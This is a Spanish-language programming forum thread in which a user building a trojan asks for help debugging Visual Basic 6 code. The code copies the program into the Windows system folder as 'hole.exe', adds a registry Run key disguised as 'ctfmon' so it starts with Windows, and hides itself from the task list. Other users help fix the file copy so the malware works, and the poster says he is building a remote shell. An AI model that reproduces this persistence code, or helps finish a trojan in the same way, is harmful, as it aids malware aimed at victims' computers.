Error al copiar archivo (file not found)

[50l3r]

veran, estoy siguiendo un tutorial que anda por aqui sobre como crear un troyano, pero le estoy haciendo a m manera tomando alguna idea del manual

El error se me genera al copiar un archivo que se aloja en una variable, aqui esta el code:

Código [Seleccionar] Expandir

Private Sub Form_Load()
Dim ip As String, port As Integer
Dim dioxis As String
Dim win, sys, residencia

ip = "192.168.6.100"
port = 666
dioxis = App.Path

ip = wsk.RemoteHost
port = wsk.RemotePort

If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
dioxis = dioxis & App.EXEName & ".exe"

Set obj = CreateObject("Scripting.FileSystemObject")
Set win = obj.GetSpecialFolder(0)
Set sys = obj.GetSpecialFolder(1)

win = LCase(win)
sys = LCase(sys)

FileCopy dioxis, sys & "\hole"
Name sys & "\hole" As sys & "\hole.exe"

Set residencia = CreateObject("WScript.Shell")

residencia.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & "ctfmon", sys & "\hole.exe"



App.TaskVisible = False
End Sub

he revisado y rerevisado el codigo pero no encuentro el error

[ranslsad]

Nose hehe
pero para comprobar si el app esta bien hace esto:

Debajo de este codigo:

Código (vb) [Seleccionar] Expandir

If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
dioxis = dioxis & App.EXEName & ".exe"

Pone:

Código (vb) [Seleccionar] Expandir

Msgbox dioxis

Y ya ves si esta bien la dir o mal.

Salu2

Ranslsad

[BlackZeroX]

PAra verificar si existe un Directorio, Archivo o no se yo lo que desees usa:

Código (vb) [Seleccionar] Expandir


if dir(RutaEXE/Directorio,tipo) then
     'Si Existe
else
     'No Existe
end if


Este solo corrige el directorio residente del archivo para posteriormente concatenar solamente el nombre/extensión

Código (vb) [Seleccionar] Expandir


If Right(dioxis, 1) <> "\" Then dioxis = dioxis & "\"
dioxis = dioxis & App.EXEName & ".exe"


Saludos, Dulces Lunas

[BlackZeroX]

a si si quieres alojar una rchivo en una variable usa

Código (Vb) [Seleccionar] Expandir


Open Ruta for binary as 1
     get 1,,Variable
close 1
'Procesos deseados


Lo que tu haces es solo almacenar la ruta del archivo.

Saludos, Dulces Lunas

[XcryptOR]

usa Apis y problema arreglado

[YST]

Esos es un copy paste de el manual de Xenon

Prueba con la api CopyFile

http://allapi.mentalis.org/apilist/CopyFile.shtml

[50l3r]

esa pàrte es la que he tenido que copiar ya que me daba muchos errores

estoy haciendo una obtencion de una shell remota, ya que me dio la idea al ver en el manual que poniendo tu paint, le ejecutabas el paint jeje, y se me ocurrio asi hacer una shell remota, lo unico copiado es este trozo, el que tengo que copiar y poner en el registro...etc

como seria con una api

sorry por mi escasa habilidad con vb, he empezado hace pocos dias

-------------------------------

edito, antes del filecopy he puesto un msbox y este es su resultado



y justo despues, aqui el error



----------------------

reedito de nuevo, al compilar ahora me deja, antes nose porque no, pero ahora si

[Dessa]

No te digo que este sea el caso, pero algunos errores (aleatorios) similares a el tuyo los solucione haciendo una pausa de un par de segundos antes del Filecopy

Código [Seleccionar] Expandir



Dim x As Long: x = Round(Timer): While Round(Timer) < x + 2: DoEvents: Wend



Saludos

PD: si usas API mejor